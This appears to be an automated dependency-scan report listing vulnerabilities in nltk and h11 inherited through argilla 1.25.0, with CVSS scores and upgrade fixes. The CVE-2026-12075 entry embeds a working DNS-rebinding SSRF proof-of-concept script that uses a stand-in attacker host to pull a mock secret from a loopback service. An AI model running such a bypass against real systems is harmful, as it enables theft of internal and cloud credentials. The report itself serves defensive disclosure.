Vulnerable Library - argilla-1.25.0-py3-none-any.whl
Sample Path to Dependency File: /Pipfile
Path to vulnerable library: /tmp/containerbase/cache/.local/share/virtualenvs/AutoPrompt-jrKn-qKh-python/lib/python3.10/site-packages/nltk-3.8.1.dist-info
Found in HEAD commit: 09f51f74740b88648be208302ec569217b51a66f
Vulnerabilities
*For some transitive vulnerabilities, there is no version of direct dependency with a fix. Check the "Details" section below to see if there is a version of transitive dependency where vulnerability is fixed.
**In some cases, Remediation PR cannot be created automatically for a vulnerability despite the availability of remediation
Details
Partial details (14 vulnerabilities) are displayed below due to a content size limitation in GitHub. To view information on the remaining vulnerabilities, navigate to the Mend Application.
CVE-2026-0848
Vulnerable Library - nltk-3.8.1-py3-none-any.whl
Natural Language Toolkit
Library home page: https://files.pythonhosted.org/packages/a6/0a/0d20d2c0f16be91b9fa32a77b76c60f9baf6eba419e5ef5deca17af9c582/nltk-3.8.1-py3-none-any.whl
Sample Path to Dependency File: /Pipfile
Path to vulnerable library: /tmp/containerbase/cache/.local/share/virtualenvs/AutoPrompt-jrKn-qKh-python/lib/python3.10/site-packages/nltk-3.8.1.dist-info
Dependency Hierarchy:
- argilla-1.25.0-py3-none-any.whl (Root Library)
- ❌ nltk-3.8.1-py3-none-any.whl (Vulnerable Library)
Found in HEAD commit: 09f51f74740b88648be208302ec569217b51a66f
Found in base branch: main
Reachability Analysis
The vulnerable code is unreachable
Vulnerability Details
NLTK versions <=3.9.2 are vulnerable to arbitrary code execution due to improper input validation in the StanfordSegmenter module. The module dynamically loads external Java .jar files without verification or sandboxing. An attacker can supply or replace the JAR file, enabling the execution of arbitrary Java bytecode at import time. This vulnerability can be exploited through methods such as model poisoning, MITM attacks, or dependency poisoning, leading to remote code execution. The issue arises from the direct execution of the JAR file via subprocess with unvalidated classpath input, allowing malicious classes to execute when loaded by the JVM.
Publish Date: 2026-03-05
URL: CVE-2026-0848
Threat Assessment
Exploit Maturity: Not Defined
EPSS: 0.809%
CVSS 3 Score Details (10.0)
Base Score Metrics:
- Exploitability Metrics:
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Changed
- Impact Metrics:
- Confidentiality Impact: High
- Integrity Impact: High
- Availability Impact: High
For more information on CVSS3 Scores, click here.
Suggested Fix
Type: Upgrade version
Origin: https://huntr.com/bounties/08b109bb-ac24-403f-9422-1c246ce60202
Release Date: 2026-03-05
Fix Resolution (nltk): 3.9.3
Direct dependency fix Resolution (argilla): 1.26.0
In order to enable automatic remediation, please create workflow rules
CVE-2025-14009
Vulnerable Library - nltk-3.8.1-py3-none-any.whl
Natural Language Toolkit
Library home page: https://files.pythonhosted.org/packages/a6/0a/0d20d2c0f16be91b9fa32a77b76c60f9baf6eba419e5ef5deca17af9c582/nltk-3.8.1-py3-none-any.whl
Sample Path to Dependency File: /Pipfile
Path to vulnerable library: /tmp/containerbase/cache/.local/share/virtualenvs/AutoPrompt-jrKn-qKh-python/lib/python3.10/site-packages/nltk-3.8.1.dist-info
Dependency Hierarchy:
- argilla-1.25.0-py3-none-any.whl (Root Library)
- ❌ nltk-3.8.1-py3-none-any.whl (Vulnerable Library)
Found in HEAD commit: 09f51f74740b88648be208302ec569217b51a66f
Found in base branch: main
Reachability Analysis
The vulnerable code is unreachable
Vulnerability Details
A critical vulnerability exists in the NLTK downloader component of nltk/nltk, affecting all versions. The _unzip_iter function in nltk/downloader.py uses zipfile.extractall() without performing path validation or security checks. This allows attackers to craft malicious zip packages that, when downloaded and extracted by NLTK, can execute arbitrary code. The vulnerability arises because NLTK assumes all downloaded packages are trusted and extracts them without validation. If a malicious package contains Python files, such as init.py, these files are executed automatically upon import, leading to remote code execution. This issue can result in full system compromise, including file system access, network access, and potential persistence mechanisms.
Mend Note: The description of this vulnerability differs from MITRE.
Publish Date: 2026-02-18
URL: CVE-2025-14009
Threat Assessment
Exploit Maturity: Not Defined
EPSS: 0.79%
CVSS 3 Score Details (10.0)
Base Score Metrics:
- Exploitability Metrics:
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Changed
- Impact Metrics:
- Confidentiality Impact: High
- Integrity Impact: High
- Availability Impact: High
For more information on CVSS3 Scores, click here.
Suggested Fix
Type: Upgrade version
Origin: GHSA-7p94-766c-hgjp
Release Date: 2026-02-18
Fix Resolution: nltk - 3.9.3,nltk - 3.9.3
CVE-2024-39705
Vulnerable Library - nltk-3.8.1-py3-none-any.whl
Natural Language Toolkit
Library home page: https://files.pythonhosted.org/packages/a6/0a/0d20d2c0f16be91b9fa32a77b76c60f9baf6eba419e5ef5deca17af9c582/nltk-3.8.1-py3-none-any.whl
Sample Path to Dependency File: /Pipfile
Path to vulnerable library: /tmp/containerbase/cache/.local/share/virtualenvs/AutoPrompt-jrKn-qKh-python/lib/python3.10/site-packages/nltk-3.8.1.dist-info
Dependency Hierarchy:
- argilla-1.25.0-py3-none-any.whl (Root Library)
- ❌ nltk-3.8.1-py3-none-any.whl (Vulnerable Library)
Found in HEAD commit: 09f51f74740b88648be208302ec569217b51a66f
Found in base branch: main
Reachability Analysis
The vulnerable code is unreachable
Vulnerability Details
NLTK through 3.8.1 allows remote code execution if untrusted packages have pickled Python code, and the integrated data package download functionality is used. This affects, for example, averaged_perceptron_tagger and punkt.
Publish Date: 2024-06-27
URL: CVE-2024-39705
Threat Assessment
Exploit Maturity: Not Defined
EPSS: 1.346%
CVSS 3 Score Details (9.8)
Base Score Metrics:
- Exploitability Metrics:
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Impact Metrics:
- Confidentiality Impact: High
- Integrity Impact: High
- Availability Impact: High
For more information on CVSS3 Scores, click here.
Suggested Fix
Type: Upgrade version
Release Date: 2024-06-27
Fix Resolution (nltk): 3.8.2
Direct dependency fix Resolution (argilla): 1.26.0
In order to enable automatic remediation, please create workflow rules
CVE-2026-78683
Vulnerable Library - nltk-3.8.1-py3-none-any.whl
Natural Language Toolkit
Library home page: https://files.pythonhosted.org/packages/a6/0a/0d20d2c0f16be91b9fa32a77b76c60f9baf6eba419e5ef5deca17af9c582/nltk-3.8.1-py3-none-any.whl
Sample Path to Dependency File: /Pipfile
Path to vulnerable library: /tmp/containerbase/cache/.local/share/virtualenvs/AutoPrompt-jrKn-qKh-python/lib/python3.10/site-packages/nltk-3.8.1.dist-info
Dependency Hierarchy:
- argilla-1.25.0-py3-none-any.whl (Root Library)
- ❌ nltk-3.8.1-py3-none-any.whl (Vulnerable Library)
Found in HEAD commit: 09f51f74740b88648be208302ec569217b51a66f
Found in base branch: main
Reachability Analysis
The vulnerable code is unreachable
Vulnerability Details
NLTK before 3.10.0 (affected versions <=3.9.4) contains an unsafe pickle deserialization vulnerability in the TransitionParser.parse() method (nltk/parse/transitionparser.py). The method calls pickle_load() with the default restricted=False, routing deserialization through WarningUnpickler, which does not override find_class() and therefore permits arbitrary class resolution. When an application loads an attacker-crafted model file, embedded pickle gadget chains execute arbitrary Python code with the privileges of the user running the application. NLTK provides a RestrictedUnpickler for safe deserialization, but it is not used by production code paths. Fixed in 3.10.0.
Publish Date: 2026-08-25
URL: CVE-2026-78683
Threat Assessment
Exploit Maturity: Not Defined
EPSS: 0.276%
CVSS 3 Score Details (9.6)
Base Score Metrics:
- Exploitability Metrics:
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required
- Scope: Changed
- Impact Metrics:
- Confidentiality Impact: High
- Integrity Impact: High
- Availability Impact: High
For more information on CVSS3 Scores, click here.
Suggested Fix
Type: Upgrade version
Release Date: 2026-08-25
Fix Resolution: nltk - 3.10.0,nltk - 3.10.0,https://github.com/nltk/nltk.git - v3.10.0
CVE-2025-43859
Vulnerable Library - h11-0.14.0-py3-none-any.whl
A pure-Python, bring-your-own-I/O implementation of HTTP/1.1
Library home page: https://files.pythonhosted.org/packages/95/04/ff642e65ad6b90db43e668d70ffb6736436c7ce41fcc549f4e9472234127/h11-0.14.0-py3-none-any.whl
Sample Path to Dependency File: /Pipfile
Path to vulnerable library: /tmp/containerbase/cache/.local/share/virtualenvs/AutoPrompt-jrKn-qKh-python/lib/python3.10/site-packages/h11-0.14.0.dist-info
Dependency Hierarchy:
- argilla-1.25.0-py3-none-any.whl (Root Library)
- httpx-0.26.0-py3-none-any.whl
- httpcore-1.0.4-py3-none-any.whl
- ❌ h11-0.14.0-py3-none-any.whl (Vulnerable Library)
Found in HEAD commit: 09f51f74740b88648be208302ec569217b51a66f
Found in base branch: main
Reachability Analysis
The vulnerable code is unreachable
Vulnerability Details
h11 is a Python implementation of HTTP/1.1. Prior to version 0.16.0, a leniency in h11's parsing of line terminators in chunked-coding message bodies can lead to request smuggling vulnerabilities under certain conditions. This issue has been patched in version 0.16.0. Since exploitation requires the combination of buggy h11 with a buggy (reverse) proxy, fixing either component is sufficient to mitigate this issue.
Publish Date: 2025-04-24
URL: CVE-2025-43859
Threat Assessment
Exploit Maturity: Not Defined
EPSS: 0.581%
CVSS 3 Score Details (9.1)
Base Score Metrics:
- Exploitability Metrics:
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Impact Metrics:
- Confidentiality Impact: High
- Integrity Impact: High
- Availability Impact: None
For more information on CVSS3 Scores, click here.
Suggested Fix
Type: Upgrade version
Origin: GHSA-vqfr-h8mv-ghfj
Release Date: 2025-04-24
Fix Resolution (h11): 0.16.0
Direct dependency fix Resolution (argilla): 1.26.0
In order to enable automatic remediation, please create workflow rules
CVE-2026-71513
Vulnerable Library - nltk-3.8.1-py3-none-any.whl
Natural Language Toolkit
Library home page: https://files.pythonhosted.org/packages/a6/0a/0d20d2c0f16be91b9fa32a77b76c60f9baf6eba419e5ef5deca17af9c582/nltk-3.8.1-py3-none-any.whl
Sample Path to Dependency File: /Pipfile
Path to vulnerable library: /tmp/containerbase/cache/.local/share/virtualenvs/AutoPrompt-jrKn-qKh-python/lib/python3.10/site-packages/nltk-3.8.1.dist-info
Dependency Hierarchy:
- argilla-1.25.0-py3-none-any.whl (Root Library)
- ❌ nltk-3.8.1-py3-none-any.whl (Vulnerable Library)
Found in HEAD commit: 09f51f74740b88648be208302ec569217b51a66f
Found in base branch: main
Reachability Analysis
The vulnerable code is unreachable
Vulnerability Details
NLTK before 3.10.3 contains a remote code execution vulnerability in AllowlistUnpickler that validates only the pickle module string and not the global name, allowing attackers to resolve dotted names by attribute traversal to callables outside the allowlisted namespace. Attackers can craft untrusted transition-parser models that execute arbitrary commands when TransitionParser.parse loads the model through allowlisted_pickle_load.
Publish Date: 2026-08-22
URL: CVE-2026-71513
Threat Assessment
Exploit Maturity: Not Defined
EPSS: 0.784%
CVSS 3 Score Details (8.8)
Base Score Metrics:
- Exploitability Metrics:
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required
- Scope: Unchanged
- Impact Metrics:
- Confidentiality Impact: High
- Integrity Impact: High
- Availability Impact: High
For more information on CVSS3 Scores, click here.
Suggested Fix
Type: Upgrade version
Release Date: 2026-08-22
Fix Resolution (nltk): 3.10.3
Direct dependency fix Resolution (argilla): 1.26.0
In order to enable automatic remediation, please create workflow rules
CVE-2026-12075
Vulnerable Library - nltk-3.8.1-py3-none-any.whl
Natural Language Toolkit
Library home page: https://files.pythonhosted.org/packages/a6/0a/0d20d2c0f16be91b9fa32a77b76c60f9baf6eba419e5ef5deca17af9c582/nltk-3.8.1-py3-none-any.whl
Sample Path to Dependency File: /Pipfile
Path to vulnerable library: /tmp/containerbase/cache/.local/share/virtualenvs/AutoPrompt-jrKn-qKh-python/lib/python3.10/site-packages/nltk-3.8.1.dist-info
Dependency Hierarchy:
- argilla-1.25.0-py3-none-any.whl (Root Library)
- ❌ nltk-3.8.1-py3-none-any.whl (Vulnerable Library)
Found in HEAD commit: 09f51f74740b88648be208302ec569217b51a66f
Found in base branch: main
Reachability Analysis
The vulnerable code is unreachable
Vulnerability Details
Summary "nltk.pathsec" provides an SSRF filter that NLTK documents as a security control, blocking loopback, private, link-local, and multicast ranges (including obfuscated forms) and recommending strict "ENFORCE" mode for security-sensitive environments. The filter is bypassable by DNS rebinding: "validate_network_url()" resolves the hostname and checks the resulting IP, but the actual HTTP connection re-resolves the hostname independently at connect time and connects to that second result. The validated IP is never the one connected to. An attacker controlling DNS for a hostname (a TTL-0 rebinding record) returns a public IP for the validation lookup and an internal/loopback IP for the connection lookup, defeating the filter even under "nltk.pathsec.ENFORCE = True". Details "urlopen()" validates, then hands the raw hostname to "urllib", which performs a second name resolution deep in the connection layer ("http.client.HTTPConnection.connect" → "socket.create_connection" → "socket.getaddrinfo"). The validation-side and connection-side resolutions are fully independent code paths with independent caches: 1. "validate_network_url()" calls "_resolve_hostname(parsed.hostname)" and checks each returned IP against loopback/link-local/multicast/private, blocking under "ENFORCE". (Resolution #1.) 2. "urlopen()" then calls "build_opener(...).open(url)" with the original URL (raw hostname), so "urllib" resolves the hostname again at connect time. (Resolution #2 — the address actually connected to.) "_resolve_hostname" is decorated with "lru_cache" and its docstring claims to mitigate DNS rebinding, but the cache only memoizes the validation-side lookup. The connection layer's "getaddrinfo" does not consult that cache, so it provides no protection. The annotation is a false assurance: an operator reading it may believe rebinding is handled when it is not. PoC import socket import threading import warnings from collections import defaultdict from http.server import BaseHTTPRequestHandler, HTTPServer warnings.filterwarnings("ignore") import nltk import nltk.pathsec as ps ps.ENFORCE = True # the documented strict SSRF sandbox ATTACKER_HOST = "rebind.attacker.test" # attacker-controlled authoritative DNS PUBLIC_IP = "93.184.216.34" # public address served for the validation lookup SECRET = b"TOP-SECRET-LOOPBACK-ONLY-METADATA-CREDENTIALS" --- A loopback-only "internal service" (stands in for 169.254.169.254 / admin UI) --- class _Handler(BaseHTTPRequestHandler): def do_GET(self): self.send_response(200) self.send_header("Content-Type", "text/plain") self.send_header("Content-Length", str(len(SECRET))) self.end_headers() self.wfile.write(SECRET) def log_message(self, *a): pass def start_internal_server(): srv = HTTPServer(("127.0.0.1", 0), _Handler) threading.Thread(target=srv.serve_forever, daemon=True).start() return srv.server_address[1] # ephemeral port --- Model the TTL-0 rebinding record at the resolver layer --- _real_getaddrinfo = socket.getaddrinfo _lookups = defaultdict(int) def _rebinding_getaddrinfo(host, port, *args, **kwargs): if host == ATTACKER_HOST: n = _lookups[host] _lookups[host] += 1 ip = PUBLIC_IP if n == 0 else "127.0.0.1" # 1st=public (validate), then loopback (connect) p = port if isinstance(port, int) else 0 kind = "VALIDATION -> public" if n == 0 else "CONNECT -> loopback" print(f" [dns] getaddrinfo({host!r}) lookup #{n}: {kind} ({ip})") return [(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP, "", (ip, p))] return _real_getaddrinfo(host, port, args, **kwargs) def fetch(url): with ps.urlopen(url, timeout=5) as r: return r.read() def main(): print("=" * 62) print(f" NLTK pathsec DNS-rebinding SSRF bypass PoC") print(f" nltk {nltk.version} | nltk.pathsec.ENFORCE = {ps.ENFORCE}") print("=" * 62) port = start_internal_server() print(f"[] internal loopback service: http://127.0.0.1:{port}/ (returns secret)\n") socket.getaddrinfo = _rebinding_getaddrinfo ps._resolve_hostname.cache_clear() # fresh validation cache, as on a real process try: # ---- Control: a DIRECT loopback URL must be blocked by the filter ---- print("[1] CONTROL: direct loopback URL (filter must block this)") direct = f"http://127.0.0.1:{port}/" try: fetch(direct) print(f" [?] unexpected: {direct} was NOT blocked\n") control_ok = False except PermissionError as e: print(f" [OK] blocked -> PermissionError: {e}\n") control_ok = True # ---- Attack: rebinding hostname bypasses the same filter ---- print("[2] ATTACK: rebinding hostname (public at validate, loopback at connect)") evil = f"http://{ATTACKER_HOST}:{port}/" print(f" fetching {evil}") try: body = fetch(evil) leaked = SECRET in body print(f" body returned to caller: {body!r}") if leaked: print("\n [VULN] loopback-only secret exfiltrated through pathsec.urlopen") print(f" validated IP = {PUBLIC_IP} (public) but connected IP = 127.0.0.1") print(f" non-blind SSRF despite ENFORCE = {ps.ENFORCE}") verdict = "VULNERABLE" else: print("\n [?] fetch succeeded but secret marker not present") verdict = "INCONCLUSIVE" except PermissionError as e: # Patched build: validate against the connect-time IP (or pin/resolve-once). print(f"\n [SAFE] blocked -> PermissionError: {e}") verdict = "NOT VULNERABLE" finally: socket.getaddrinfo = _real_getaddrinfo print("\n" + "=" * 62) print(f" Control (direct loopback blocked): {control_ok}") print(f" Result: {verdict} (ENFORCE = {ps.ENFORCE})") print("=" * 62) if name == "main": main() Impact - Full-response (non-blind) SSRF. Because the fetched body is returned to the caller (e.g. "nltk.data.load" with "format="raw""), an attacker can read responses from internal-only HTTP services, loopback admin interfaces, and — most seriously — the cloud instance metadata service, which on major cloud providers can expose IAM/service credentials and lead to cloud account compromise. - Bypass of an explicit security control. It defeats the "nltk.pathsec" SSRF filter, including the "ENFORCE" mode that NLTK's documentation recommends precisely for environments where untrusted input may reach NLTK. Deployments that adopted that boundary are not actually protected, and the "lru_cache" annotation claiming to mitigate rebinding makes the false assurance worse.
Publish Date: 2026-07-31
URL: CVE-2026-12075
Threat Assessment
Exploit Maturity: Not Defined
EPSS:
CVSS 3 Score Details (8.6)
Base Score Metrics:
- Exploitability Metrics:
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Changed
- Impact Metrics:
- Confidentiality Impact: High
- Integrity Impact: None
- Availability Impact: None
For more information on CVSS3 Scores, click here.
Suggested Fix
Type: Upgrade version
Origin: GHSA-qvv7-cg9c-w4x3
Release Date: 2026-07-31
Fix Resolution: nltk - 3.10.0,nltk - 3.10.0
CVE-2026-0847
Vulnerable Library - nltk-3.8.1-py3-none-any.whl
Natural Language Toolkit
Library home page: https://files.pythonhosted.org/packages/a6/0a/0d20d2c0f16be91b9fa32a77b76c60f9baf6eba419e5ef5deca17af9c582/nltk-3.8.1-py3-none-any.whl
Sample Path to Dependency File: /Pipfile
Path to vulnerable library: /tmp/containerbase/cache/.local/share/virtualenvs/AutoPrompt-jrKn-qKh-python/lib/python3.10/site-packages/nltk-3.8.1.dist-info
Dependency Hierarchy:
- argilla-1.25.0-py3-none-any.whl (Root Library)
- ❌ nltk-3.8.1-py3-none-any.whl (Vulnerable Library)
Found in HEAD commit: 09f51f74740b88648be208302ec569217b51a66f
Found in base branch: main
Reachability Analysis
The vulnerable code is unreachable
Vulnerability Details
A vulnerability in NLTK versions up to and including 3.9.2 allows arbitrary file read via path traversal in multiple CorpusReader classes, including WordListCorpusReader, TaggedCorpusReader, and BracketParseCorpusReader. These classes fail to properly sanitize or validate file paths, enabling attackers to traverse directories and access sensitive files on the server. This issue is particularly critical in scenarios where user-controlled file inputs are processed, such as in machine learning APIs, chatbots, or NLP pipelines. Exploitation of this vulnerability can lead to unauthorized access to sensitive files, including system files, SSH private keys, and API tokens, and may potentially escalate to remote code execution when combined with other vulnerabilities.
Publish Date: 2026-03-04
URL: CVE-2026-0847
Threat Assessment
Exploit Maturity: Not Defined
EPSS: 0.899%
CVSS 3 Score Details (8.6)
Base Score Metrics:
- Exploitability Metrics:
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Impact Metrics:
- Confidentiality Impact: High
- Integrity Impact: Low
- Availability Impact: Low
For more information on CVSS3 Scores, click here.
Suggested Fix
Type: Upgrade version
Release Date: 2026-03-04
Fix Resolution (nltk): 3.9.3
Direct dependency fix Resolution (argilla): 1.26.0
In order to enable automatic remediation, please create workflow rules
CVE-2026-0846
Vulnerable Library - nltk-3.8.1-py3-none-any.whl
Natural Language Toolkit
Library home page: https://files.pythonhosted.org/packages/a6/0a/0d20d2c0f16be91b9fa32a77b76c60f9baf6eba419e5ef5deca17af9c582/nltk-3.8.1-py3-none-any.whl
Sample Path to Dependency File: /Pipfile
Path to vulnerable library: /tmp/containerbase/cache/.local/share/virtualenvs/AutoPrompt-jrKn-qKh-python/lib/python3.10/site-packages/nltk-3.8.1.dist-info
Dependency Hierarchy:
- argilla-1.25.0-py3-none-any.whl (Root Library)
- ❌ nltk-3.8.1-py3-none-any.whl (Vulnerable Library)
Found in HEAD commit: 09f51f74740b88648be208302ec569217b51a66f
Found in base branch: main
Reachability Analysis
The vulnerable code is unreachable
Vulnerability Details
A vulnerability in the "filestring()" function of the "nltk.util" module in nltk version 3.9.2 allows arbitrary file read due to improper validation of input paths. The function directly opens files specified by user input without sanitization, enabling attackers to access sensitive system files by providing absolute paths or traversal paths. This vulnerability can be exploited locally or remotely, particularly in scenarios where the function is used in web APIs or other interfaces that accept user-supplied input.
Publish Date: 2026-03-09
URL: CVE-2026-0846
Threat Assessment
Exploit Maturity: Not Defined
EPSS: 0.428%
CVSS 3 Score Details (8.6)
Base Score Metrics:
- Exploitability Metrics:
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Impact Metrics:
- Confidentiality Impact: High
- Integrity Impact: Low
- Availability Impact: Low
For more information on CVSS3 Scores, click here.
Suggested Fix
Type: Upgrade version
Release Date: 2026-03-09
Fix Resolution (nltk): 3.9.3
Direct dependency fix Resolution (argilla): 1.26.0
In order to enable automatic remediation, please create workflow rules
CVE-2026-33236
Vulnerable Library - nltk-3.8.1-py3-none-any.whl
Natural Language Toolkit
Library home page: https://files.pythonhosted.org/packages/a6/0a/0d20d2c0f16be91b9fa32a77b76c60f9baf6eba419e5ef5deca17af9c582/nltk-3.8.1-py3-none-any.whl
Sample Path to Dependency File: /Pipfile
Path to vulnerable library: /tmp/containerbase/cache/.local/share/virtualenvs/AutoPrompt-jrKn-qKh-python/lib/python3.10/site-packages/nltk-3.8.1.dist-info
Dependency Hierarchy:
- argilla-1.25.0-py3-none-any.whl (Root Library)
- ❌ nltk-3.8.1-py3-none-any.whl (Vulnerable Library)
Found in HEAD commit: 09f51f74740b88648be208302ec569217b51a66f
Found in base branch: main
Reachability Analysis
The vulnerable code is unreachable
Vulnerability Details
NLTK (Natural Language Toolkit) is a suite of open source Python modules, data sets, and tutorials supporting research and development in Natural Language Processing. In versions 3.9.3 and prior, the NLTK downloader does not validate the "subdir" and "id" attributes when processing remote XML index files. Attackers can control a remote XML index server to provide malicious values containing path traversal sequences (such as "../"), which can lead to arbitrary directory creation, arbitrary file creation, and arbitrary file overwrite. Commit 89fe2ec2c6bae6e2e7a46dad65cc34231976ed8a patches the issue.
Publish Date: 2026-03-20
URL: CVE-2026-33236
Threat Assessment
Exploit Maturity: Not Defined
EPSS: 0.575%
CVSS 3 Score Details (8.1)
Base Score Metrics:
- Exploitability Metrics:
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required
- Scope: Unchanged
- Impact Metrics:
- Confidentiality Impact: None
- Integrity Impact: High
- Availability Impact: High
For more information on CVSS3 Scores, click here.
CVE-2026-78680
Vulnerable Library - nltk-3.8.1-py3-none-any.whl
Natural Language Toolkit
Library home page: https://files.pythonhosted.org/packages/a6/0a/0d20d2c0f16be91b9fa32a77b76c60f9baf6eba419e5ef5deca17af9c582/nltk-3.8.1-py3-none-any.whl
Sample Path to Dependency File: /Pipfile
Path to vulnerable library: /tmp/containerbase/cache/.local/share/virtualenvs/AutoPrompt-jrKn-qKh-python/lib/python3.10/site-packages/nltk-3.8.1.dist-info
Dependency Hierarchy:
- argilla-1.25.0-py3-none-any.whl (Root Library)
- ❌ nltk-3.8.1-py3-none-any.whl (Vulnerable Library)
Found in HEAD commit: 09f51f74740b88648be208302ec569217b51a66f
Found in base branch: main
Reachability Analysis
The vulnerable code is unreachable
Vulnerability Details
NLTK versions before 3.10.3 fail to use validated absolute paths when invoking the Graphviz dot binary in dependencygraph.dot2img and AlignedSent.repr_svg, allowing attackers to execute arbitrary code by placing a malicious dot binary in the search path or current working directory. Attackers can exploit bare-name binary resolution on Windows via the current working directory or on Unix-like systems via relative PATH entries to execute their binary instead of the legitimate Graphviz tool.
Mend Note: The description of this vulnerability differs from MITRE.
Publish Date: 2026-08-25
URL: CVE-2026-78680
Threat Assessment
Exploit Maturity: Not Defined
EPSS: 0.12%
CVSS 3 Score Details (7.8)
Base Score Metrics:
- Exploitability Metrics:
- Attack Vector: Local
- Attack Complexity: Low
- Privileges Required: Low
- User Interaction: None
- Scope: Unchanged
- Impact Metrics:
- Confidentiality Impact: High
- Integrity Impact: High
- Availability Impact: High
For more information on CVSS3 Scores, click here.
Suggested Fix
Type: Upgrade version
Origin: GHSA-6hwm-xvph-95vm
Release Date: 2026-08-25
Fix Resolution: nltk - 3.10.3,nltk - 3.10.3
CVE-2025-71408
Vulnerable Library - nltk-3.8.1-py3-none-any.whl
Natural Language Toolkit
Library home page: https://files.pythonhosted.org/packages/a6/0a/0d20d2c0f16be91b9fa32a77b76c60f9baf6eba419e5ef5deca17af9c582/nltk-3.8.1-py3-none-any.whl
Sample Path to Dependency File: /Pipfile
Path to vulnerable library: /tmp/containerbase/cache/.local/share/virtualenvs/AutoPrompt-jrKn-qKh-python/lib/python3.10/site-packages/nltk-3.8.1.dist-info
Dependency Hierarchy:
- argilla-1.25.0-py3-none-any.whl (Root Library)
- ❌ nltk-3.8.1-py3-none-any.whl (Vulnerable Library)
Found in HEAD commit: 09f51f74740b88648be208302ec569217b51a66f
Found in base branch: main
Reachability Analysis
The vulnerable code is unreachable
Vulnerability Details
NLTK (Natural Language Toolkit) before version 3.9.3 contains an eval injection vulnerability in the nltk.collocations module that allows an attacker who controls command-line arguments to execute arbitrary Python code. When collocations.py is invoked directly, the main block passes command-line arguments directly to eval() as suffixes of BigramAssocMeasures without allowlist validation or sanitization, enabling an attacker to supply a Python expression that escapes the intended attribute lookup and executes arbitrary code including OS commands via the os module.
Mend Note: The description of this vulnerability differs from MITRE.
Publish Date: 2026-07-24
URL: CVE-2025-71408
Threat Assessment
Exploit Maturity: Not Defined
EPSS: 0.198%
CVSS 3 Score Details (7.8)
Base Score Metrics:
- Exploitability Metrics:
- Attack Vector: Local
- Attack Complexity: Low
- Privileges Required: Low
- User Interaction: None
- Scope: Unchanged
- Impact Metrics:
- Confidentiality Impact: High
- Integrity Impact: High
- Availability Impact: High
For more information on CVSS3 Scores, click here.
Suggested Fix
Type: Upgrade version
Release Date: 2026-07-24
Fix Resolution (nltk): 3.9.3
Direct dependency fix Resolution (argilla): 1.26.0
In order to enable automatic remediation, please create workflow rules
CVE-2026-78681
Vulnerable Library - nltk-3.8.1-py3-none-any.whl
Natural Language Toolkit
Library home page: https://files.pythonhosted.org/packages/a6/0a/0d20d2c0f16be91b9fa32a77b76c60f9baf6eba419e5ef5deca17af9c582/nltk-3.8.1-py3-none-any.whl
Sample Path to Dependency File: /Pipfile
Path to vulnerable library: /tmp/containerbase/cache/.local/share/virtualenvs/AutoPrompt-jrKn-qKh-python/lib/python3.10/site-packages/nltk-3.8.1.dist-info
Dependency Hierarchy:
- argilla-1.25.0-py3-none-any.whl (Root Library)
- ❌ nltk-3.8.1-py3-none-any.whl (Vulnerable Library)
Found in HEAD commit: 09f51f74740b88648be208302ec569217b51a66f
Found in base branch: main
Reachability Analysis
The vulnerable code is unreachable
Vulnerability Details
NLTK versions before 3.10.3 use xml.etree.ElementTree to parse XML in multiple modules, which honors entity declarations in document DTDs. Attackers can craft XML payloads with nested entity declarations that expand from hundreds of bytes to megabytes in memory, causing denial of service.
Publish Date: 2026-08-25
URL: CVE-2026-78681
Threat Assessment
Exploit Maturity: Not Defined
EPSS: 0.278%
CVSS 3 Score Details (7.5)
Base Score Metrics:
- Exploitability Metrics:
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Impact Metrics:
- Confidentiality Impact: None
- Integrity Impact: None
- Availability Impact: High
For more information on CVSS3 Scores, click here.
Suggested Fix
Type: Upgrade version
Origin: GHSA-97qj-x29f-37w7
Release Date: 2026-08-25
Fix Resolution: nltk - 3.10.3,nltk - 3.10.3
CVE-2026-72818
Vulnerable Library - nltk-3.8.1-py3-none-any.whl
Natural Language Toolkit
Library home page: https://files.pythonhosted.org/packages/a6/0a/0d20d2c0f16be91b9fa32a77b76c60f9baf6eba419e5ef5deca17af9c582/nltk-3.8.1-py3-none-any.whl
Sample Path to Dependency File: /Pipfile
Path to vulnerable library: /tmp/containerbase/cache/.local/share/virtualenvs/AutoPrompt-jrKn-qKh-python/lib/python3.10/site-packages/nltk-3.8.1.dist-info
Dependency Hierarchy:
- argilla-1.25.0-py3-none-any.whl (Root Library)
- ❌ nltk-3.8.1-py3-none-any.whl (Vulnerable Library)
Found in HEAD commit: 09f51f74740b88648be208302ec569217b51a66f
Found in base branch: main
Reachability Analysis
The vulnerable code is unreachable
Vulnerability Details
The URLS regular expression in nltk/tokenize/casual.py, compiled into TweetTokenizer.WORD_RE and applied by TweetTokenizer.tokenize, contains a naked-domain branch whose domain-label prefix [a-z0-9]+(?:[.-][a-z0-9]+)* is unbounded. Input consisting of many alternating label separators can be partitioned in exponentially many ways, and because the branch also requires a trailing top-level domain that such input never supplies, the engine explores those partitions before failing at each offset. A few kilobytes of input therefore consumes seconds to minutes of single-threaded CPU, and the HANG_RE substitution performed before matching does not collapse the pattern. TweetTokenizer is intended for tokenizing untrusted social-media text, so any service that applies it, or the module-level casual_tokenize, to submitted text can be stalled per request without authentication. Version 3.10.1 bounds the label repetition.
Mend Note: The description of this vulnerability differs from MITRE.
Publish Date: 2026-08-20
URL: CVE-2026-72818
Threat Assessment
Exploit Maturity: Not Defined
EPSS: 0.505%
CVSS 3 Score Details (7.5)
Base Score Metrics:
- Exploitability Metrics:
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Impact Metrics:
